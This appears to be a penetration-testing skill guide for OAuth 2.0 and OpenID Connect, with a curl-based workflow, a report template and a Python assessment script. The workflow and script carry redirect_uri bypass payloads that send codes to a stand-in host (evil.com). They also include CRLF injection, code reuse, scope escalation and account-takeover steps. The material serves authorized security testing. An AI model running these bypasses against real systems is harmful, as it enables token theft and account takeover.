npx skills add mukul975/Anthropic-Cybersecurity-SkillsMITRE ATT&CK
When to Use
- During authorized penetration tests when the application uses OAuth 2.0 or OpenID Connect for authentication
- When assessing "Sign in with Google/Facebook/GitHub" social login implementations
- For testing single sign-on (SSO) flows between applications
- When evaluating API authorization using OAuth bearer tokens
- During security assessments of applications acting as OAuth providers or consumers
Prerequisites
- Authorization: Written penetration testing agreement covering OAuth/SSO flows
- Burp Suite Professional: For intercepting OAuth redirect flows
- Browser with DevTools: For monitoring redirect chains and token leakage
- Multiple test accounts: On both the OAuth provider and the target application
- curl: For manual OAuth flow testing
- Attacker-controlled server: For receiving redirected tokens/codes
Workflow
Step 1: Map the OAuth Flow and Configuration
Identify the OAuth grant type, endpoints, and configuration.
# Discover OAuth/OIDC configuration endpoints
curl -s "https://target.example.com/.well-known/openid-configuration" | jq .
curl -s "https://target.example.com/.well-known/oauth-authorization-server" | jq .
# Key endpoints to identify:
# - Authorization endpoint: /oauth/authorize
# - Token endpoint: /oauth/token
# - UserInfo endpoint: /oauth/userinfo
# - JWKS endpoint: /oauth/certs
# Capture the authorization request in Burp
# Typical authorization code flow:
# GET /oauth/authorize?
# response_type=code&
# client_id=CLIENT_ID&
# redirect_uri=https://app.example.com/callback&
# scope=openid profile email&
# state=RANDOM_STATE
# Identify the grant type:
# - Authorization Code: response_type=code
# - Implicit: response_type=token
# - Hybrid: response_type=code+token
# Check for PKCE parameters:
# - code_challenge=...
# - code_challenge_method=S256Step 2: Test Redirect URI Manipulation
Attempt to redirect the authorization code or token to an attacker-controlled domain.
# Test open redirect via redirect_uri
# Original: redirect_uri=https://app.example.com/callback
# Attempt various bypasses:
BYPASSES=(
"https://evil.com"
"https://app.example.com.evil.com/callback"
"https://app.example.com@evil.com/callback"
"https://app.example.com/callback/../../../evil.com"
"https://evil.com/?.app.example.com"
"https://evil.com#.app.example.com"
"https://app.example.com/callback?next=https://evil.com"
"https://APP.EXAMPLE.COM/callback"
"https://app.example.com/callback%0d%0aLocation:https://evil.com"
"https://app.example.com/CALLBACK"
"http://app.example.com/callback"
"https://app.example.com/callback/../../other-path"
)
for uri in "${BYPASSES[@]}"; do
echo -n "Testing: $uri -> "
status=$(curl -s -o /dev/null -w "%{http_code}" \
"https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$uri'))")&scope=openid&state=test123")
echo "$status"
done
# If redirect_uri validation is path-based, try path traversal
# redirect_uri=https://app.example.com/callback/../attacker-controlled-path
# If subdomain matching, try subdomain takeover + redirect
# redirect_uri=https://abandoned-subdomain.example.com/Step 3: Test for Authorization Code and Token Theft
Exploit leakage vectors for stealing OAuth tokens and codes.
# Test token leakage via Referer header
# If implicit flow returns token in URL fragment:
# https://app.example.com/callback#access_token=TOKEN
# And the callback page loads external resources,
# the Referer header may leak the URL with the token
# Test for authorization code leakage via Referer
# After receiving code at callback, check if:
# 1. Page loads external images/scripts
# 2. Page has links to external sites
# Burp: Check Proxy History for Referer headers containing "code="
# Test authorization code reuse
CODE="captured_auth_code"
# First use
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
# Second use (should fail but may not)
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET"
# Test state parameter absence/predictability
# Remove state parameter entirely
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid"
# If no error, CSRF on OAuth flow is possibleStep 4: Test Scope Escalation and Privilege Manipulation
Attempt to gain more permissions than intended.
# Request additional scopes beyond what's needed
curl -s "https://auth.target.example.com/oauth/authorize?response_type=code&client_id=APP_ID&redirect_uri=https://app.example.com/callback&scope=openid+profile+email+admin+write+delete&state=test123"
# Test with elevated scope on token exchange
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=authorization_code&code=$CODE&redirect_uri=https://app.example.com/callback&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"
# Test token with manipulated claims
# If JWT access token, try modifying claims (see JWT testing skill)
# Test refresh token scope escalation
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=refresh_token&refresh_token=$REFRESH_TOKEN&client_id=APP_ID&scope=admin+write"
# Test client credential flow with elevated permissions
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=client_credentials&client_id=APP_ID&client_secret=APP_SECRET&scope=admin"Step 5: Test for Account Takeover via OAuth
Exploit OAuth flows to take over victim accounts.
# Test missing email verification on OAuth provider
# 1. Create an account on the OAuth provider with victim's email
# 2. OAuth login to the target app
# 3. If the app trusts the unverified email, account linking occurs
# Test pre-authentication account linking
# 1. Register on target app with victim's email (no OAuth)
# 2. Attacker links their OAuth account to victim's email
# 3. Attacker can now login via OAuth to victim's account
# CSRF on account linking
# If /oauth/link endpoint lacks CSRF protection:
# 1. Attacker initiates OAuth flow, captures the auth code
# 2. Craft a page that submits the code to victim's session
# 3. Victim's account gets linked to attacker's OAuth account
# Test token substitution
# Use authorization code/token from one client_id with another
curl -s -X POST "https://auth.target.example.com/oauth/token" \
-d "grant_type=authorization_code&code=$CODE_FROM_APP_A&redirect_uri=https://app-b.example.com/callback&client_id=APP_B_ID&client_secret=APP_B_SECRET"Step 6: Test Client Secret and Token Security
Assess the security of OAuth credentials and tokens.
# Check for exposed client secrets
# Search JavaScript source code
curl -s "https://target.example.com/static/app.js" | grep -i "client_secret\|clientSecret\|client_id"
# Check mobile app decompilation for hardcoded secrets
# Test token revocation
ACCESS_TOKEN="captured_access_token"
# Use the token
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://api.target.example.com/me"
# Revoke the token
curl -s -X POST "https://auth.target.example.com/oauth/revoke" \
-d "token=$ACCESS_TOKEN&token_type_hint=access_token"
# Test if revoked token still works
curl -s -H "Authorization: Bearer $ACCESS_TOKEN" \
"https://api.target.example.com/me"
# Test token lifetime
# Decode JWT access token and check exp claim
echo "$ACCESS_TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null | jq .exp
# Long-lived tokens (hours/days) increase attack window
# Check PKCE implementation
# If public client without PKCE, authorization code interception is possibleKey Concepts
| Concept | Description |
|---|---|
| Authorization Code Flow | Most secure OAuth flow; exchanges short-lived code for tokens server-side |
| Implicit Flow | Deprecated flow returning tokens directly in URL fragment; vulnerable to leakage |
| PKCE | Proof Key for Code Exchange; prevents authorization code interception attacks |
| Redirect URI Validation | Server-side validation that the redirect_uri matches registered values |
| State Parameter | Random value binding the OAuth request to the user's session, preventing CSRF |
| Scope Escalation | Requesting or obtaining more permissions than authorized |
| Token Leakage | Exposure of OAuth tokens via Referer headers, logs, or browser history |
| Open Redirect | Using OAuth redirect_uri as an open redirect to steal tokens |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | Intercepting OAuth redirect chains and modifying parameters |
| OWASP ZAP | Automated OAuth flow scanning |
| Postman | Manual OAuth flow testing with environment variables |
| oauth-tools.com | Online OAuth flow debugging and testing |
| jwt.io | JWT token analysis for OAuth access tokens |
| Browser DevTools | Monitoring network requests and redirect chains |
Common Scenarios
Scenario 1: Redirect URI Subdomain Bypass
The OAuth provider validates redirect_uri against *.example.com. An attacker finds a subdomain vulnerable to takeover (old.example.com), takes it over, and steals authorization codes redirected to it.
Scenario 2: Missing State Parameter CSRF
The OAuth login flow does not include or validate a state parameter. An attacker crafts a link that logs the victim into the attacker's account, enabling account confusion attacks.
Scenario 3: Implicit Flow Token Theft
The application uses the implicit flow, receiving the access token in the URL fragment. The callback page loads a third-party analytics script, and the token leaks via the Referer header.
Scenario 4: Authorization Code Reuse
The OAuth provider does not invalidate authorization codes after first use. An attacker who intercepts a code via Referer leakage can exchange it for an access token even after the legitimate user has completed the flow.
Output Format
## OAuth Security Assessment Report
**Vulnerability**: Redirect URI Validation Bypass
**Severity**: High (CVSS 8.1)
**Location**: GET /oauth/authorize - redirect_uri parameter
**OWASP Category**: A07:2021 - Identification and Authentication Failures
### OAuth Configuration
| Property | Value |
|----------|-------|
| Grant Type | Authorization Code |
| PKCE | Not implemented |
| State Parameter | Present but predictable |
| Token Type | JWT (RS256) |
| Token Lifetime | 1 hour |
| Refresh Token | 30 days |
### Findings
| Finding | Severity |
|---------|----------|
| Redirect URI path traversal bypass | High |
| Missing PKCE on public client | High |
| Authorization code reusable | Medium |
| State parameter uses sequential values | Medium |
| Client secret exposed in JavaScript | Critical |
| Token not revoked after password change | Medium |
### Recommendation
1. Implement strict redirect_uri validation with exact string matching
2. Require PKCE for all clients (especially public/mobile clients)
3. Invalidate authorization codes after first use
4. Use cryptographically random state parameters tied to user sessions
5. Migrate from implicit flow to authorization code flow with PKCE
6. Never expose client secrets in client-side codeReferences and resources
Everything below is rendered for inspection. Script files are read-only and never run.
References 1
api-reference.md2.0 KB
API Reference: OAuth Misconfiguration Assessment Agent
Dependencies
| Library | Version | Purpose |
|---|---|---|
| requests | >=2.28 | HTTP client for OAuth flow testing |
CLI Usage
python scripts/agent.py \
--url https://auth.example.com \
--client-id APP_CLIENT_ID \
--redirect-uri https://app.example.com/callback \
--output oauth_report.jsonFunctions
discover_oidc_config(base_url) -> dict
Fetches /.well-known/openid-configuration or /.well-known/oauth-authorization-server.
test_redirect_uri_bypasses(auth_endpoint, client_id, legitimate_uri) -> list
Tests 10 redirect_uri manipulation techniques: subdomain hijack, path traversal, case variation, protocol downgrade, CRLF injection.
test_state_parameter(auth_endpoint, client_id, redirect_uri) -> dict
Submits authorization request without state to check CSRF protection.
test_pkce_requirement(auth_endpoint, client_id, redirect_uri) -> dict
Tests whether code_challenge parameter is required. Generates S256 challenge for comparison.
test_code_reuse(token_endpoint, auth_code, client_id, client_secret, redirect_uri) -> dict
Exchanges an authorization code twice to check single-use enforcement.
test_scope_escalation(auth_endpoint, client_id, redirect_uri) -> dict
Requests elevated scopes (admin, write, delete) to test scope validation.
run_assessment(config, client_id, redirect_uri) -> dict
Orchestrates all tests and compiles findings.
OAuth Endpoints Tested
| Endpoint | Source | Test |
|---|---|---|
authorization_endpoint |
OIDC config | Redirect URI, state, PKCE, scope |
token_endpoint |
OIDC config | Code reuse, scope escalation |
Output Schema
{
"oidc_config": {"authorization_endpoint": "...", "token_endpoint": "..."},
"redirect_uri_tests": [{"redirect_uri": "https://evil.com", "accepted": false}],
"state_parameter": {"csrf_risk": false},
"pkce": {"pkce_required": true},
"findings": []
}Scripts 1
agent.py8.4 KB
#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""OAuth 2.0 misconfiguration detection agent for testing redirect URI, state, and PKCE."""
import argparse
import json
import logging
import sys
import urllib.parse
from typing import List
try:
import requests
except ImportError:
sys.exit("requests is required: pip install requests")
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
def discover_oidc_config(base_url: str) -> dict:
"""Discover OpenID Connect / OAuth configuration endpoints."""
endpoints = [
"/.well-known/openid-configuration",
"/.well-known/oauth-authorization-server",
]
for ep in endpoints:
try:
resp = requests.get(f"{base_url}{ep}", timeout=10, verify=False)
if resp.status_code == 200:
config = resp.json()
logger.info("OIDC config found at %s%s", base_url, ep)
return config
except (requests.RequestException, ValueError):
continue
logger.warning("No OIDC configuration endpoint found")
return {}
def test_redirect_uri_bypasses(auth_endpoint: str, client_id: str,
legitimate_uri: str) -> List[dict]:
"""Test redirect_uri validation with common bypass techniques."""
parsed = urllib.parse.urlparse(legitimate_uri)
domain = parsed.netloc
bypass_uris = [
"https://evil.com",
f"https://{domain}.evil.com/callback",
f"https://{domain}@evil.com/callback",
f"https://evil.com/.{domain}",
f"https://{domain}/callback/../../../evil.com",
f"https://{domain}/callback?next=https://evil.com",
f"https://{domain.upper()}/callback",
f"http://{domain}/callback",
f"https://{domain}/CALLBACK",
f"https://{domain}/callback%0d%0aLocation:https://evil.com",
]
results = []
for uri in bypass_uris:
params = {
"response_type": "code",
"client_id": client_id,
"redirect_uri": uri,
"scope": "openid",
"state": "test123",
}
try:
resp = requests.get(auth_endpoint, params=params, timeout=10,
allow_redirects=False, verify=False)
accepted = resp.status_code in (302, 301, 200)
location = resp.headers.get("Location", "")
results.append({
"redirect_uri": uri,
"status_code": resp.status_code,
"accepted": accepted,
"redirected_to": location[:120] if location else "",
})
if accepted:
logger.warning("Redirect URI bypass accepted: %s", uri)
except requests.RequestException as exc:
results.append({"redirect_uri": uri, "error": str(exc)})
return results
def test_state_parameter(auth_endpoint: str, client_id: str,
redirect_uri: str) -> dict:
"""Test if the state parameter is required and validated."""
params = {
"response_type": "code",
"client_id": client_id,
"redirect_uri": redirect_uri,
"scope": "openid",
}
resp = requests.get(auth_endpoint, params=params, timeout=10,
allow_redirects=False, verify=False)
no_state_accepted = resp.status_code in (302, 301, 200)
params["state"] = "aaaa"
resp2 = requests.get(auth_endpoint, params=params, timeout=10,
allow_redirects=False, verify=False)
return {
"state_required": not no_state_accepted,
"no_state_status": resp.status_code,
"predictable_state_status": resp2.status_code,
"csrf_risk": no_state_accepted,
}
def test_pkce_requirement(auth_endpoint: str, client_id: str,
redirect_uri: str) -> dict:
"""Test if PKCE (code_challenge) is required."""
params = {
"response_type": "code",
"client_id": client_id,
"redirect_uri": redirect_uri,
"scope": "openid",
"state": "pkce_test",
}
resp_no_pkce = requests.get(auth_endpoint, params=params, timeout=10,
allow_redirects=False, verify=False)
import hashlib, base64, os
verifier = base64.urlsafe_b64encode(os.urandom(32)).rstrip(b"=").decode()
challenge = base64.urlsafe_b64encode(
hashlib.sha256(verifier.encode()).digest()
).rstrip(b"=").decode()
params["code_challenge"] = challenge
params["code_challenge_method"] = "S256"
resp_with_pkce = requests.get(auth_endpoint, params=params, timeout=10,
allow_redirects=False, verify=False)
return {
"pkce_required": resp_no_pkce.status_code >= 400,
"without_pkce_status": resp_no_pkce.status_code,
"with_pkce_status": resp_with_pkce.status_code,
"risk": "HIGH" if resp_no_pkce.status_code < 400 else "LOW",
}
def test_code_reuse(token_endpoint: str, auth_code: str, client_id: str,
client_secret: str, redirect_uri: str) -> dict:
"""Test if authorization codes can be reused."""
data = {
"grant_type": "authorization_code",
"code": auth_code,
"redirect_uri": redirect_uri,
"client_id": client_id,
"client_secret": client_secret,
}
resp1 = requests.post(token_endpoint, data=data, timeout=10, verify=False)
resp2 = requests.post(token_endpoint, data=data, timeout=10, verify=False)
return {
"first_exchange_status": resp1.status_code,
"second_exchange_status": resp2.status_code,
"code_reusable": resp2.status_code == 200,
"risk": "MEDIUM" if resp2.status_code == 200 else "LOW",
}
def test_scope_escalation(auth_endpoint: str, client_id: str,
redirect_uri: str) -> dict:
"""Test if additional scopes beyond authorization can be requested."""
elevated_scopes = "openid profile email admin write delete"
params = {
"response_type": "code",
"client_id": client_id,
"redirect_uri": redirect_uri,
"scope": elevated_scopes,
"state": "scope_test",
}
resp = requests.get(auth_endpoint, params=params, timeout=10,
allow_redirects=False, verify=False)
return {
"requested_scopes": elevated_scopes,
"status_code": resp.status_code,
"accepted": resp.status_code in (302, 301, 200),
}
def run_assessment(config: dict, client_id: str, redirect_uri: str) -> dict:
"""Run the full OAuth security assessment."""
auth_ep = config.get("authorization_endpoint", "")
findings = []
redirect_tests = test_redirect_uri_bypasses(auth_ep, client_id, redirect_uri) if auth_ep else []
bypasses = [t for t in redirect_tests if t.get("accepted")]
if bypasses:
findings.append(f"HIGH: {len(bypasses)} redirect_uri bypass(es) accepted")
state_test = test_state_parameter(auth_ep, client_id, redirect_uri) if auth_ep else {}
if state_test.get("csrf_risk"):
findings.append("MEDIUM: State parameter not required (CSRF risk)")
pkce_test = test_pkce_requirement(auth_ep, client_id, redirect_uri) if auth_ep else {}
if not pkce_test.get("pkce_required", True):
findings.append("HIGH: PKCE not required")
scope_test = test_scope_escalation(auth_ep, client_id, redirect_uri) if auth_ep else {}
return {
"oidc_config": config,
"redirect_uri_tests": redirect_tests,
"state_parameter": state_test,
"pkce": pkce_test,
"scope_escalation": scope_test,
"findings": findings,
}
def main():
parser = argparse.ArgumentParser(description="OAuth Misconfiguration Assessment Agent")
parser.add_argument("--url", required=True, help="OAuth provider base URL")
parser.add_argument("--client-id", required=True, help="OAuth client ID")
parser.add_argument("--redirect-uri", required=True, help="Legitimate redirect URI")
parser.add_argument("--output", default="oauth_report.json")
args = parser.parse_args()
config = discover_oidc_config(args.url)
report = run_assessment(config, args.client_id, args.redirect_uri)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()